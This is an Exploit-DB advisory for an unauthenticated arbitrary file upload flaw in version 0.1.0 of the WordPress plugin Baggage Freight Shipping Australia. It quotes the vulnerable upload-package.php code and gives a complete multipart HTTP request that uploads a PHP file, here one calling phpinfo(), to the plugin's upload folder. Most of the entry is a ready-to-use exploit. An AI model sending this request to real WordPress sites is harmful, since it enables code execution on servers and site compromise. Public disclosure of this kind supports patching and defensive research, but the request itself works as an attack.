WordPress Plugin Baggage Freight Shipping Australia 0.1.0 – Arbitrary File Upload

• Exploit Database
• 16 阅读

• 作者： Kaimi
  日期： 2018-12-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/46061/

• # Exploit Title: WordPress Plugin Baggage Freight Shipping Australia 0.1.0 - Arbitrary File Upload
  # Date: 2018-12-24
  # Software Link: https://wordpress.org/plugins/baggage-freight/
  # Exploit Author: Kaimi
  # Website: https://kaimi.io
  # Version: 0.1.0
  # Category: webapps
  
  # Unrestricted file upload for unahtorized user in package info upload 
  # process allowing arbitrary extension.
  
  File: upload-package.php
  
  Vulnerable code:
  if($_POST["submit"])
  {
  if ($_FILES["file"])
  {
  $uploadpath = "../wp-content/plugins/baggage_shipping/upload/".time()."_".$_FILES["file"]["name"];
  
  move_uploaded_file($_FILES["file"]["tmp_name"],$uploadpath);
  
  # Exploitation example:
  
  POST /wp-content/plugins/baggage-freight/upload-package.php HTTP/1.1
  Host: example.com
  Content-Type: multipart/form-data; boundary=---------------------------18311719029180117571501079851
  ...
  -----------------------------18311719029180117571501079851
  Content-Disposition: form-data; name="submit"
  
  1
  -----------------------------18311719029180117571501079851
  Content-Disposition: form-data; name="file"; filename="file.php"
  Content-Type: audio/wav
  
  <?php phpinfo();
  -----------------------------18311719029180117571501079851--
  
  # Uploaded file will be located at /wp-content/plugins/baggage_shipping/upload/{timestamp}_info.php.